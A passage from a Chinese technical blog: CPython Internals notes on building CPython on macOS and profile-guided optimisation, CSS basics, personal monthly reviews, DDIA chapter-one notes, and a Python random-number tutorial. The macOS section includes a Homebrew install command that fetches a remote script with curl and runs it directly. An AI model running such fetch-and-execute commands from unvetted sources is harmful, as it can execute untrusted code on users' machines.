这不是支持赋值表达式所需的唯一更改。 如 Pull Request 中所示,这一变化改变了 CPython 编译器的许多部分。

有关 CPython 解析器生成器的更多信息,pgen 的作者在 PyCon Europe 2019 上录制了 有关实现和设计的演示文稿:“野兽之魂”。

总结

在本章中,你已经了解了 Python 语法定义和解析器生成器。 在下一章中,你将扩展该知识以构建更复杂的语法功能,即“几乎等于”运算符。

在实践中,必须仔细考虑和讨论对 Python 语法的更改。审查水平有两个原因:

  1. 拥有“太多”的语言特性或复杂的语法会改变 Python 作为一种简单易读的语言的精神
  2. 语法更改引入向后不兼容,这给所有开发人员增加了工作

如果 Python 核心开发人员提议对语法进行更改,则必须将其作为 Python 增强提案 (PEP) 提出。 所有 PEP 都在 PEP 索引上进行编号和索引。 PEP 5 记录了语言发展的指南,并指定必须在 PEP 中提出更改。

成员还可以通过 python-ideas 邮件列表建议对核心开发组之外的语言进行更改。

你可以在 PEP 索引中查看 CPython 未来版本的起草的、拒绝的和接受的 PEP。 一旦 PEP 达成共识,并且草案已定稿,指导委员会必须接受或拒绝它。 PEP 13 中定义的指导委员会的任务规定, 他们应努力“维护 Python 语言和 CPython 解释器的质量和稳定性”。

CPython Internals 笔记 ── 编译 Python

现在你已经下载了 CPython 开发环境并对其进行了配置,你可以将 CPython 源代码编译成一个可执行的解释器。

与 Python 文件不同,C 源代码每次更改时都必须重新编译。

在前一章中,我们已经设置开发环境,并设置了运行“Build”阶段的选项,该选项将重新编译 CPython。 在构建步骤工作之前,你需要一个 C 编译器和一些构建工具。 使用的工具取决于你使用的操作系统。

如果你担心这些步骤中的任何一个会干扰您现有的 CPython 安装,请不要担心。CPython 源目录的行为就像一个虚拟环境。

对于编译 CPython、修改源代码和标准库,这些都保留在源目录的沙箱中。

如果要安装自定义版本,本章也将介绍此步骤。

在 macOS 系统上编译 CPython

在 macOS 上编译 CPython 需要一些额外的应用程序和库。你首先需要基本的 C 编译器工具包。 “Command Line Development Tools” 是一个可以在 macOS 中通过 App Store 更新的应用程序。 你需要在终端上执行初始安装。

在终端中,通过运行以下命令安装 C 编译器和工具包:

$ xcode-select --install

该命令会弹出一个提示,提示下载并安装一组工具,包括 Git、Make 和 GNU C 编译器。

你还需要一份 OpenSSL 的工作副本,用于从 PyPi.org 网站获取包。 如果你以后计划使用此构建版本来安装其他软件包,则需要进行 SSL 验证。

在 macOS 上安装 OpenSSL 的最简单方法是使用 Homebrew

可以使用一下命令安装 Homebrew:

$ /usr/bin/ruby -e "$(curl -fsSL \
 https://raw.githubusercontent.com/Homebrew/install/master/install)"

一旦安装完成,你就可以使用 brew install 命令来安装所需的工具。

$ brew install openssl xz zlib gdbm sqlite

现在你已经安装了依赖项,你可以运行 configure 脚本。 Homebrew 有一个命令 brew --prefix [package] ,它将给出安装包的目录。 你将通过编译 Homebrew 使用的位置来启用对 SSL 的支持。

标志 --with-pydebug 启用调试挂钩。如果你打算出于开发或测试目的进行调试,请添加此项。

配置阶段只需要运行一次,同时指定 zlib 包的位置:

$ CPPFLAGS="-I$(brew --prefix zlib)/include" \
 LDFLAGS="-L$(brew --prefix zlib)/lib -L$(brew --prefix bzip2)/lib" \
 ./configure --with-openssl=$(brew --prefix openssl) --with-pydebug

运行 configure 将在存储库的根目录中生成一个 Makefile,你可以使用它来自动化构建过程。

你现在可以通过运行一下命令来构建 CPython 二进制文件:

$ make -j2 -s

在构建过程中,你可能会收到一些错误。在构建摘要中,make 会通知你并非所有包都已构建。 例如,ossaudiodevspwd_tkinter 将无法使用这组指令进行构建。 如果你不打算针对这些软件包进行开发,那也没关系。 如果是,请查看官方开发指南网站以获取更多信息。

构建将需要几分钟并生成一个名为 python.exe 的二进制文件。每次对源代码进行更改时, 你都会需要使用相同的标志重新运行 makepython.exe 二进制文件是 CPython 的调试二进制文件。 执行 python.exe 以查看有效的 REPL:

$ ./python.exe
Python 3.9.0b1 (tags/v3.9.0b1:97fe9cf, May 19 2020, 10:00:00)
[Clang 10.0.1 (clang-1001.0.46.4)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>>

是的,没错,macOS 版本的文件扩展名为 .exe。 这个扩展不是因为它是 Windows 二进制文件! 因为 macOS 有一个不区分大小写的文件系统,并且在使用二进制文件时, 开发人员不希望人们不小心引用 Python/ 目录,因此附加了 .exe 以避免歧义。 如果你稍后运行 make installmake altinstall, 它将在将文件安装到你的系统之前将文件重命名回 python。

配置文件引导优化

macOS、Linux 和 Windows 构建过程具有“PGO”或“Profile Guided Optimization”标志。 PGO 不是 Python 团队创建的东西,而是许多编译器的特性,包括 CPython 使用的编译器。

PGO 的工作方式是进行初始编译,然后通过运行一系列测试来分析应用程序。 然后分析创建的配置文件,编译器将对二进制文件进行更改以提高性能。

对于 CPython,分析阶段运行 python -m test --pgo, 它执行在 Lib/test/libregrtest/pgo.py 中指定的回归测试。 这些测试是专门选择的,因为它们使用常用的 C 扩展模块或类型。

PGO 过程非常耗时,因此在整本书中,我将其排除在推荐步骤列表之外,以缩短编译时间。 如果要将自定义编译版本的 CPython 分发到生产环境中, 则应在 Linux 和 macOS 中使用 --with-pgo 标志运行 ./configure, 并在 Windows 上使用 --pgo 标志运行 build.bat

由于优化特定于执行配置文件的平台和架构,因此无法在操作系统或 CPU 架构之间共享 PGO 配置文件。 python.org 上的 CPython 发行版已经通过 PGO,所以如果你在编译的二进制文件上运行基准测试, 它会比从 python.org 下载的要慢。

Windows、macOS 和 Linux 配置文件引导的优化包括以下检查和改进:

  • 函数内联 ── 如果函数被另一个函数定期调用,那么它将被“内联”以减少堆栈大小。
  • 虚拟调用推测和内联 ── 如果一个虚拟函数调用频繁地针对某个函数, PGO 可以插入一个有条件执行的对该函数的直接调用。然后可以内联直接调用。
  • 寄存器分配优化 ── 基于配置文件数据结果,PGO 将优化寄存器分配。
  • 基本块优化 ── 基本块优化允许在给定帧内临时执行的共同执行的基本块放置在同一组页面(局部性)中。 它最大限度地减少了使用的页面数量,从而最大限度地减少了内存开销。
  • 热点优化 ── 程序花费最多执行时间的函数可以优化速度。
  • 函数布局优化 ── 在分析调用图之后,倾向于沿着相同执行路径的函数被移动到编译应用程序的同一部分。
  • 条件分支优化 - PGO 可以查看决策分支,如 if..else ifswitch 语句,并找出最常用的路径。 例如,如果 switch 语句中有 10 个 case,其中一个使用了 95% 的时间,那么它会被移到顶部,以便在代码路径中立即执行。
  • 死点分离 ── 在 PGO 期间未调用的代码被移动到应用程序的单独部分。

结论

在本章中,你已经了解了如何将 CPython 源代码编译成可工作的解释器。 在探索和改编源代码时,你可以在整本书中使用这些知识。

在使用 CPython 时,你可能需要重复编译步骤数十次甚至数百次。 如果你可以调整你的开发环境来创建重新编译的快捷方式,最好现在就这样做,这样可以节省大量时间。

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

CPython Internals 笔记 ── 介绍、开发环境设置

介绍

这本书将涵盖 CPython 内部实现的主要概念,并学习如何:

  • 阅读和浏览源代码
  • 从源代码编译 CPython
  • 更改 Python 语法并将其编译到你的 CPython 版本中
  • 导航并理解诸如列表、字典和生成器的概念的内部工作原理
  • 掌握 CPython 的内存管理能力
  • 使用并行和并发扩展你的 Python 代码
  • 使用新功能修改核心类型
  • 运行测试套件
  • 分析和基准测试 Python 代码和运行时的性能
  • 像专家一样调试 C 和 Python 代码
  • 修改或升级 CPython 库的组件并将它们贡献给未来的版本

在线资源

CPython Internals resources

代码协议

遵循 Creative Commons Public Domain (CC0) License

这书中的代码已经在 Windows 10、macOS 10.15 和 Linux 上使用 Python 3.9.0b1 进行了测试。

设置开发环境

CPython 源代码大约 65% 是 Python(测试是重要的部分)、24% C,其余是其他语言的混合。

设置 Visual Studio Code

code.visualstudio.com 下载 Visual Studio Code,并在本地安装。

推荐的扩展:

配置任务和启动文件

VS Code 在工作区目录中创建一个文件夹 .vscode。 在此文件夹中,你可以创建:

  • tasks.json 用于执行项目命令的快捷方式
  • launch.json 用于配置调试器
  • 其他特定于插件的文件

.vscode 目录中创建一个 tasks.json 文件,并添加以下内容:

cpython-book-samples/11/tasks.json

{
    "version": "2.0.0",
    "tasks": [
        {
            "label": "build",
            "type": "shell",
            "group": {
                "kind": "build",
                "isDefault": true
            },
            "windows":{
                "command": "PCBuild\build.bat",
                "args": ["-p x64 -c Debug"]
            },
            "linux":{
                "command": "make -j2 -s"
            },
            "osx":{
                "command": "make -j2 -s"
            }
        }
    ]
}

使用任务资源管理器插件,你将在 vscode 组中看到你配置的任务列表。

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

CSS 基础──样式篇

前端小课──用好HTML》的读书笔记。

使用css三种方式

  1. 外部引入:通过 link 的方式引用 CSS 样式

    <head>
    	<link rel="stylesheet" href="style.css">
    </head>
    
  2. 内部引入,在 HTML 中的 head 位置添加 style 标签

    <head>
      <style>
        .title {
          color: red;
          font-size: 18px;
        }
      </style>
    </head>
    
  3. 内联样式

    <p style="color: red; font-size: 18px;">内容</p>
    

块级标签和 inline 标签

  • 块级标签独占一行;
  • inline 标签会「累加」,如同打字一样,一个字一个字往后拼接,单行显示不全会折行显示;
    • white-space 属性作用就是告诉浏览器遇到「空格」该如何处理,这里的空格不是单纯意义上的空格。
      • normal
      • nowrap

overflow 属性

  • 控制对于超出可视区域的内容如何处理
  • overflow-xoverflow-y
/* 默认值。内容不会被修剪,会呈现在元素框之外 */
overflow: visible;

/* 内容会被修剪,并且其余内容不可见 */
overflow: hidden;

/* 内容会被修剪,浏览器会显示滚动条以便查看其余内容 */
overflow: scroll;

/* 由浏览器定夺,如果内容被修剪,就会显示滚动条(默认值) */
overflow: auto;

/* 规定从父元素继承overflow属性的值 */
overflow: inherit;

清除标签默认边距

/*清除标签默认边距*/
* {
    margin: 0;
    padding: 0;
}

CSS中的选择器

Untitled

注意:写 CSS 代码的时候,即使某个属性写错,浏览器也不会报错,只会忽略无法识别的 CSS 样式。

  • 标签选择器: 如 pli

  • class 选择器:如 .first

  • ID 选择器: #firstid

  • 通用选择器: * ,作用于所有的标签

  • 属性选择器:根据属性来匹配HTML元素

    /* 匹配所有使用属性 "lefe" 的元素 */
    [lefe] {
        color: green;
    }
    
    /*匹配所有使用属性为 "lefe",且值为 liquid 的元素*/
    [lefe="liquid"] {
        background-color: goldenrod;
    }
    
    /*匹配所有使用属性为 "lefe",且值包含 spicy 的元素*/
    [lefe~="spicy"] {
        color: red;
    }
    
  • 类似于“正则表达式”的属性选择器,比如: [attr^=val] 匹配以 val 开头的元素, [attr$=val] ,匹配以 val 结尾的元素, [attr*=val] 匹配包含 val 的字符串的元素

  • 伪选择器(pseudo-selectors):它包含伪类(pseudo-classes)和伪元素(pseudo-elements)。这类选择器不是真正意义上的选择器,它作为选择器的一部分,起到选择器匹配元素的限定条件。

    /* 匹配超链接样式 */
    a {
        color: blue;
        font-weight: bold;
    }
    
    /* 访问后的状态 */
    a:visited {
        color: yellow;
    }
    
    /* 鼠标悬停、点击、聚焦时的样式 */
    a:hover,
    a:active,
    a:focus {
        color: darkred;
        text-decoration: none;
    }
    
    • 伪元素(pseudo-elements)选择器,它以“ :: ” 为标识符

      p::first-letter{
        font-weight: bold;
      }
      p::first-line{
        font-size: 3em;
      }
      
      /* Selects any <p> that is the first element
         among its siblings 
      	 p:first-child 选择的是孩子节点中第一个元素是 p 的元素
      */
      p:first-child {
        color: lime;
      }
      
  • 组合选择器(Combinators): 这种选择器可以作用于多个 HTML 元素,有多种组合方式

    • A B {} : A 元素的所有后代元素 B 都会起作用。
    • A > B {} : A 元素的直接子节点会起作用,也就是只适用于 A 节点的第一层所有的子节点。
    • A + B {} : 匹配 A 的下一个兄弟节点,AB具有相同的父节点,并且 B 紧跟在 A 的后面;
    • A ~ B {} : B是 A 之后的任意一个(所有)兄弟节点。
    • A, B {}:A 和 B 元素具有同一规则的 CSS 样式,不同元素使用逗号隔开。

伪选择器

  1. 伪类选择器:作用是选中某个元素中符合某些条件的元素。作用于现有元素,相当于给现有元素添加某些属性。使用单个冒号 :

    :first-child
    :not
    :nth-child()
    :only-child()
    :root()
    :disabled
    
  2. 伪元素选择器:作用就是给现有元素添加某些新的内容,就好比给某个元素添加了一个新的标签,使用2个冒号 ::

    ::first-letter 表示对首字母进行操作
    ::first-line 对首行内容进行操作
    ::before 给已知元素的前面拼接新的内容
    ::after 给已知元素的后面拼接新的内容
    

@规则

@规则在CSS中用于传递元数据、条件信息或其他描述性信息。它们以at符号(@)开头,后跟一个标识符来说明它是什么类型的规则,然后是某种类型的语法块,以分号(;)结尾。由标识符定义的每种类型的 at 规则都有其自己的内部语法和语义。

@charset and @import (metadata)
@media or @document (条件,嵌套申明)
@font-face (描述信息)

下面这个 CSS 只适用于屏幕超过 800px 的设备:

@media (min-width: 801px) {
  body {
    margin: 0 auto;
    width: 800px;
  }
}

@media 语法

@media mediaType and|not|only (media feture) {
  // css
}

border

  • 简写属性,包含 border-width, border-style, border-color。
  • border-width:表示边框的宽度,可以分别设置上下左右边框为不同的宽度,比如 border-bottom-width;
  • border-style: 表示边框的样式,可以分别设置上下左右边框为不同的样式,比如 border-bottom-style,可以取下面几种值:node、hidden、dotted、dashed、solid 等;
  • border-color:表示边框的颜色,可以分别设置上下左右边框为不同的颜色。

一些文字属性

font-size: 文字大小;

font-weight:字重,字体粗细,可以这样理解吧;

color:字体颜色;

text-align:字体对齐方式;

text-decoration: 文字修饰,比如下划线,删除线;

letter-spacing: 文字间距;

line-height: 行高;

font-style:  文字样式,比如斜体;

盒子模型

两种盒子类型

  1. 块级盒子(block)
    • 尽可能扩大可利用的空间
    • 独占一行,也就说一个块级元素占一行
    • 可以使用 width 和 height 属性
    • 使用 padding、margin 和 border 会影响其它元素的位置
  2. 行内盒子(inline)
    • 不会单行显示,除非一行没有足够多的空间,它会一个接一个地排列;
    • width 和 height 属性不起作用,如果给 span 标签设置 width 或 height 时,发现无效;
    • padding、margin 和 border 会起作用,但不会影响其它元素。

通过 display 修改盒子的显示方式

.title {
    display: inline;
}

盒模型

Untitled 1

  • margin(外边距):它表示盒子之间的距离,可以通过 margin-top、margin-bottom、margin-left、margin-right 来控制各个方向的边距,它们可以为负值
  • border(边框):表示盒子的边框;
  • padding(内边距):表示与内容之间的距离;
  • content(内容):表示内容的大小;

模式

  1. 标准的盒子模型

    对于这种盒子模式,给它设置的 width 和 height 是 content 的宽高,当给盒子添加 padding 和 border 的时候,会增加盒子的整体大小。「外边距不会计入盒子的大小,它只是表示外部的边距」。

  2. 诡异盒子模型(The alternative CSS box model)

    对于这种盒子模式,给它设置的 width 和 height 是盒子的宽高,也就是说内容 content 的宽需要减去 border 和 padding 的宽。

谷歌浏览器默认的是标准的盒模型,可以通过:

box-sizing: border-box;

来修改盒模型为诡异盒模型。

display

  1. display:inline

  2. display:block

  3. display:inline-block

    这种布局方式结合了 inline 和 block 这两种元素的特性,它与块级元素不同的是:元素不会单独占用一行;相同的是:可以使用 width 和 height,可以通过 padding、margin 和 border 来控制元素的显示位置。

    说白了就是除了不会单独占一行,其余的与块级元素一致。

  4. display:none 隐藏元素

  5. display:flex 一维

  6. display:grid 二维

使用图片

  1. 设置背景图

    		background-color: antiquewhite;
        background-image: url('./logo_suyan.png');
        background-repeat: no-repeat;
        background-position: center;
        background-size: cover;
    
    • background-postion: 表示背景图的起始位置;
      • background-postion: top | left | bottom | right,在某个边缘的位置,另一个维度为 50%。比如 top,背景图的起始位置为顶部,在X轴方向为 50%,居中显示;
      • background-postion:center,居中背景图;
      • background-postion:25% 75%,设置基于背景区域的开始位置,可以为负值;
      • background-postion-x:背景在 x 轴上的位置;
      • background-postion-y:背景在 y 轴上的位置;
    • background-repeat: 背景的重复方式, no-repat 不重复, repeat 重复, repat-x X轴上重复,还有其它关键字。
    • background-size: 背景图的大小;
  2. img 标签

    行内(inline)元素

    <img class="logo" src="./images/1.png" alt="图片">
    
    .logo {
    		/* 表示设置图片的宽度,如果只设置宽度,那么 img 标签的高度会根据图片的大小进行等比缩放。
           只设置高度也是同样的道理。
           如果即设置了高度又设置了宽度,那么图片的高度和宽度即为设置的宽高。 */
        width: 30px;
        /* 指定行内元素的垂直对齐方式 */
        vertical-align: middle;
    }
    

显示多行文字

text-overflow 和 -webkit-line-clamp

.singal-line {
    overflow: hidden;
    white-space: nowrap;
    text-overflow: ellipsis;
}
.two-line {
    display: -webkit-box;
    overflow: hidden;
    text-overflow: ellipsis;
    -webkit-line-clamp: 2;
    -webkit-box-orient: vertical;
}

text-overflow:只对块级元素起作用,表示对超出指定区域的内容该如何显示

  • ellipsis:以 … 省略号显示
  • clip截断显示

-webkit-box:webkit 的 CSS 扩展属性

CSS权重

Untitled 2

  • *:通用选择器,权重最低,就是 0,第 1 张图就是此意;
  • div、li>ul、body:元素选择器,有几个值权重值就是几。li>ul 是两个元素,> 号不会干扰权重计算;第 2、3、4张图能看懂了吧,就是元素选择器,1个元素选择器就是 0-0-1,12个元素选择器就是 0-0-12;
  • .myClass, [type=chekbox], :only-of-type : 类、属性、伪类选择器。第 5 张图,一个类选择器,权重值表示为 0-1-0;5-15张图能看懂了吧;
  • #myDiv:id选择器,一条鲨鱼,权重比较高,权重值为 1-0-0;`
  • style:权重值更高,权重值为 1-0-0-0;
  • !important: 无敌,我是老大,告诉浏览器必须使用我定义的属性;

Untitled 3

  • g:直接在元素中使用属性,权重最高,可以看做 1-0-0-0;
  • z:id选择器,权重次子,可以看做 0-1-0-0;
  • y:类、伪类、属性选择器,权重低,可以看做 0-0-1-0;
  • x:元素、伪元素选择器,权重最低,可以看做 0-0-0-1;

动画

主要有两种方式

  • animation:CSS动画,可设置不同帧的动效;
  • transition:这种属于过渡动画,也就是说在修改某些 CSS 属性的时候,属性会有一个渐变的过程。
  1. animation
  • animation-name: 动画的名字,这个是通过 @keyframes 定义的名字。 @keyframes 指定某一帧的动画如何变化,可通过 % 来控制各个阶段的属性值
  • animation-duration:动画的持续时间;
  • animation-delay:动画开始时的延迟时间;
  • animation-iteration-count:动画循环次数;
  • animation-direction:动画的方向,比如 alternate 表示先正向后逆序,nomal 正向,reverse 逆序;
  • animation-timing-function:动画的时间曲线,它的值有 ease、ease-in、ease-out、ease-in-out、linear;
  • animation-fill-mode:动画执行后的填充模式,它的值有 forwards、backwards、none、both;
        .move-box-animation {
            /* animation: name duration timing-function delay iteration-count direction fill-mode; */
            /* 名字,为 @keyframes 的名字 */
            animation-name: move;
            /*  动画的时间 */
            animation-duration: 5s;
            /* 动画执行函数 */
            animation-timing-function: ease-in-out;
            /* 动画延迟时间 */
            animation-delay: 1s;
            /* 动画重复次数 */
            animation-iteration-count: 10;
            /* 动画的方向,先正向后逆向 */
            animation-direction: alternate;
            /* 动画执行后的填充模式 */
            animation-fill-mode: backwards;
            /* 动画的运行状态 */
            animation-play-state: running;
        }

        @keyframes move {
            0% {
                left: 0;
                top: 0;
            }

            25% {
                left: 100px;
                top: 0;
            }

            50% {
                left: 100px;
                top: 100px;
            }

            75% {
                left: 0;
                top: 100px;
            }

            100% {
                left: 0;
                top: 0;
            }
        }
  1. transition
  • 过渡动画,修改某些属性的时候不会立刻生效,它会以动画的形式逐渐过渡到要设置的值
  • transition-property: 指需要使用过渡动画的属性,这里设置了背景色,高度和宽度。也可以通过关键字 all 设置所有的属性;
  • transition-duration: 动画持续的时间,可以单独控制某个属性的时间, transition-duration:1.8s, 1.0s, 1.0s 表示修改 background-color 需要 1.8s, 修改 height 需要 1.0s,  修改 width 需要 1.0s;
  • transition-delay:动画开始时需要延迟多长时间才开始执行;
  • transition-timing-function:表示动画执行时的时间函数,不同函数走过的曲线不一样;
.move-transition {
    /* transition-property: all; */
    transition-property: background-color, height, width;
    transition-duration: 1.8s, 1.0s, 1.0s;
    transition-delay: 0.1s;
    transition-timing-function: linear;
}

长度单位

  1. 相对单位:相对单位指它的尺寸是相对于另外一个元素的尺寸。常用的是 em、rem、vh、vw、vmin、vmax。
    • em: 它是相对于「自身或父元素」的 font-size 来计算自身的尺寸
    • rem(font size of root element): 这个单位是依据「根元素 html 标签」的 font-size 来计算最终的值,这个单位对移动端web开发十分实用,通过设置 html 的 font-size 来等比缩放元素的大小。
    • vw(viewport width),可视区域宽度,比如设置 50vw,相当于可视区域宽度的一半;
    • vh(viewport height),可视区域高度,比如设置 50vh,相当于可视区域高度的一半;
    • vmax: vw 和 vh 中最大的;
    • vmin: vw 和 vh 中最小的;
  2. 绝对单位
    • 像素 px, cm等
  3. 时间单位
    • s
    • ms

易复用、易维护、结构清晰的 CSS

less,sass

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

七月小结(2021.07)

七月发生了什么事情

  1. 恢复断更一年的《Python 周报(Python weekly)》和对应的公众号;
  2. 咨询猫行为专家,很大程度解决猫猫晚上闹人和喂食的问题;
  3. 开始学习蛙泳;
  4. 上线了一个 macOS APP:Egges,一个 macOS 平台上的 Elasticsearch 集群管理用具。

七月读书

《爱是一种选择》和《非暴力沟通》都没有读完

七月创作

  1. 更新了 two cats’ diary 3支影片;
  2. 一篇《DDIA》读书笔记:第一章:可靠性,可扩展性,可维护性

七月观影

八月聚焦的事情

  1. 完成一次五公里,完成五公里30分钟;
  2. 学会蛙泳;

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

六月小结(2021.06)

记录一下六月发生的事情

六月发生了什么事情

  1. 养成了早上六点半早起跑步锻炼的习惯;
  2. 因为我对家里人的拖累症,和太太之间的争吵消耗了很多元气,算然成长了,但对她对我来说却很累;
  3. 向老板提出了涨工资要求,并顺利完成;
  4. 拜访了朋友的新家,很开心。

六月观影

日剧和电影看得多一些啊。

  • 《浪客剑心》、《浪客剑心:京都大火篇》、《浪客剑心:传说的完结篇》
  • 《第十一回》
  • :+1:《短剧开始啦》
  • 《全裸导演2》

六月读书

六月开始涉及一些心理学的书籍,但是都在读。

六月创作

  • 开通了Youtube频道《Two cats diary》,用来记录两只猫猫的日常生活,发布影片3支;
  • 没有博客更新和其他更新。

七月聚焦的事情

1. 早起和锻炼 争取能在六点钟起床,做半小时自己喜欢的,有未来意义的事情,然后出门跑步锻炼;

2. 心理咨询 继续和咨询师探讨自己家庭给自己带来的困扰;

3. 准备雅思考试 完全定下雅思考试时间,复习规划;

4. 工作技能

  • 数据结构和算法;
  • 系统设计和分布式理论;

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

《数据密集型应用的设计》读书笔记──第一章:可靠性,可扩展性,可维护性

第一章:可靠性,可扩展性,可维护性

数据密集型(data-intensive)而非计算密集型(compute-intensive):

  • 数据量、数据复杂性、以及数据的变更速度
  • 数据密集型应用基本组件
    • 存储数据,以便自己或其他应用程序之后能再次找到 (数据库(database)
    • 记住开销昂贵操作的结果,加快读取速度(缓存(cache)
    • 允许用户按关键字搜索数据,或以各种方式对数据进行过滤(搜索索引(search indexes)
    • 向其他进程发送消息,进行异步处理(流处理(stream processing)
    • 定期处理累积的大批量数据(批处理(batch processing)
  • 一个可能的组合使用多个组件的数据系统架构:

Untitled

影响数据系统设计的因素很多,包括参与人员的技能和经验、历史遗留问题、系统路径依赖、交付时限、公司的风险容忍度、监管约束等。

重要的三个问题;

  • 可靠性(Reliability)

    系统在困境(adversity)(硬件故障、软件故障、人为错误)中仍可正常工作(正确完成功能,并能达到期望的性能水准)。

  • 可扩展性(Scalability)

    有合理的办法应对系统的增长(数据量、流量、复杂性)。

  • 可维护性(Maintainability)

    随着时间的推移,许多新的人员参与到系统开发和运维, 以维护现有功能或适配 新场景等,系统都应高效运转。

可靠性

期望:

  • 应用程序执行用户所期望的功能。
  • 可以容忍用户出现错误或者不正确的软件使用方怯 。
  • 性能可以应对典型场 景 、 合 理负载压力和数据 量。
  • 系统可防止任何未经授权的访问和滥用。

故障(fault)和失效(failure):

  • 故障:系统的一部分状态偏离其标准;
  • 失效:系统作为一个整体停止向用户提供服务。
  • 由于出现fault的几率不可能为0,因此倾向于设计fault-tolerant而不是fault-preventing的系统。

硬件故障

  • 随机的、相互独立的
  • 计算机系统中的硬盘、内存、power grid等零件都可能出问题,这可以通过增加单个硬件的冗余度(redundancy)来减少整个系统宕机的概率;
  • 随着数据量和应用计算需求的增加,增加设备冗余也无法解决,就需要考虑如何在某个机器宕机的情况下通过软件调度来防止整个服务崩溃。

软件故障

  • 系统性错误的BUG难以预料,通常在异常情况被触发,例如Linux内核的润秒BUG;
  • 没有快速解决办法,只能在实现时:
    • 认真检查依赖的假设条件与系统之间交互
    • 进行全面的测试
    • 进程隔离
    • 允许进程崩愤并自动重启
    • 反复评估
    • 监控井分析生产环节的行为表现

人为故障

  • 人类是不可靠的,操作人员的不当操作占系统崩溃的75%~90%
  • 如何降低:
    • 以最小出错的方式来设计系统;
    • 想办住分离最容易出错的地方、容易引发故障的接口,提供sandbox让他们熟悉使用方法,随意犯错而不会影响生产;
    • 充分的测试:unit/integration/manual;
    • 当出现人为失误时,提供快速的恢复机制以尽量减少故障影响;
    • 设置详细而清晰的监控子系统,包括性能指标和错误率;
    • 推行管理流程井加以培训。

可扩展性

系统不见得一直可靠,比如负载增加,系统需要持续变化。

衡量负载(Load)

  • 根据系统特性简洁描述,例如服务器的每秒请求处理次数,数据库读写比例,用户数量, 缓存命中率
  • Twitter例子
    • 需求
      • 用户发推(avg 4.6k RPS,max 12k RPS)
      • 查看个人主页时间线(300k RPS)
    • 挑战:如何快速为用户提供timeline。
      1. 直接从数据库读查询,涉及join,在请求多的时候数据库无法处理;
      2. 考虑为每个用户维护时间线的缓存,只是发推的时候就需要更新对应用户的缓存;
      3. 混合:由于发推的RPS远小于查询,缓存的方法对读更有优势,但是对于follower众多的大号,发推需要写入的缓存可能非常多,因此可以考虑针对这种大号直接写入数据库,在时间线单独从数据库读大号的推。

衡量性能(Performance)

  • 两个问题:
    • 增加负载参数并保持系统资源(CPU、内存、网络带宽等)不变时,系统性能将受到什么影响?
    • 增加负载参数并希望保持性能不变时,需要增加多少系统资源?
  • 吞吐量(throughput):每秒可以处理的记录数量,或者在特定规模数据集上运行作业的总时间;
  • 响应时间(response time)和延迟(latency)
    • 响应时间:网络延迟 + queuing + service time
    • 延迟:请求花费在处理上的时间。
  • 百分位数(Percentile):
    • 响应时间如果直接数学平均,无法反映大致有多少请求受到影响
    • p95, p99, p999表示有95%, 99%, 99.9%的请求的响应时间快于某个值。
  • 尾部延迟(tail latencies):响应时间的高百分位点有时也很重要
    • 对于Amazon,大客户请求的数据量大,响应时间也就更长,不能不关注。
  • SLO/SLA: Service Level Objective/Agreements, 用百分位数来判断系统是否可用。
  • 测试时负载生成独立于响应时间来持续发送请求,不能等到收到响应才轰下一个请求。

应对负载增加的方法

  • 纵向扩展(scaling up)(垂直扩展(vertical scaling),转向更强大的机器)
  • 横向扩展(scaling out) (水平扩展(horizontal scaling),将负载分布到多台小机器上)

可维护性

软件开发本身开销并不算大,日后的维护升级需要花费更多。

软件系统的三个设计原则:

  • 可运维性(Operability)

    方便运营团队来保持系统平稳运行。

  • 简单性(Simplicity) 简化系统复杂性,使新工程师能够轻松理解系统。注意这与用户界面的简单性并 不一样。

  • 可演化性(Evolvability) 后续工程师能够轻松地对系统进行改进,井根据需求变化将其适配到非典型场 景,也称为可延伸性、易修改性或可塑性。

可运维性

  • 良好的监控
  • 自动化
  • 避免依赖单台机器
  • 良好的文档和易于理解的操作模型
  • 默认行为和可覆盖
  • 自我修复
  • 行为可预测
  • 其他
    • 适当的日志来跟踪出问题(系统故障或性能下降)的根源
    • 保证系统能升级,尤其是安全补丁
    • 正确的配置
    • 开发时遵循最佳实践

简单性

保证代码简洁,让新加入的码农也能理解代码。一个很有效的方法是抽象,用高级类来描述统一的行为。

  • 防止状态空间爆炸
  • 让系统中的模块尽量解耦,减少依赖
  • 保证一致的命名
  • 减少短视的hacks

可演化性

方便后续重构、加入新功能那个,与前面的简单性息息相关。

  • 敏捷工作模式比较方便改变
  • TDD:测试驱动开发

参考

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

12. 随机数 — Python 进阶

Python定义了一组用于生成或操作随机数的函数。 本文介绍:

  • random 模块
  • random.seed() 再生产数字
  • 使用 secrets 模块创建密码学上强的随机数
  • numpy.random 创建随机 nd 数组

random 模块

该模块为各种版本实现伪随机数生成器。它使用Mersenne Twister算法(https://en.wikipedia.org/wiki/Mersenne_Twister)作为其核心生成器。 之所以称其为伪随机数,是因为数字看起来是随机的,但是是可重现的。

import random

# [0,1) 之间随机浮点数
a = random.random()
print(a)

# [a,b] 之间随机浮点数
a = random.uniform(1,10)
print(a)

# [a,b] 之间随机整数,b 包括。
a = random.randint(1,10)
print(a)

# 之间随机整数,b 不包括。
a = random.randrange(1,10)
print(a)

# 参数为 mu 和 sigma 的正态分布随机浮点数
a = random.normalvariate(0, 1)
print(a)

# 从序列中随机选择元素
a = random.choice(list("ABCDEFGHI"))
print(a)

# 从序列中随机选择 k 个唯一元素
a = random.sample(list("ABCDEFGHI"), 3)
print(a)

# 选择可重复的k个元素,并返回大小为k的列表
a = random.choices(list("ABCDEFGHI"),k=3)
print(a)

# 原地随机排列
a = list("ABCDEFGHI")
random.shuffle(a)
print(a)
    0.10426373452067317
    3.34983979352444
    3
    4
    -1.004568769635799
    E
    ['G', 'C', 'B']
    ['E', 'D', 'E']
    ['D', 'I', 'G', 'H', 'E', 'B', 'C', 'F', 'A']

种子生成器

使用 random.seed(),可以使结果可重复,并且 random.seed() 之后的调用链将产生相同的数据轨迹。 随机数序列变得确定,或完全由种子值确定。

print('Seeding with 1...\n')

random.seed(1)
print(random.random())
print(random.uniform(1,10))
print(random.choice(list("ABCDEFGHI")))

print('\nRe-seeding with 42...\n')
random.seed(42)  # 重设随机种子

print(random.random())
print(random.uniform(1,10))
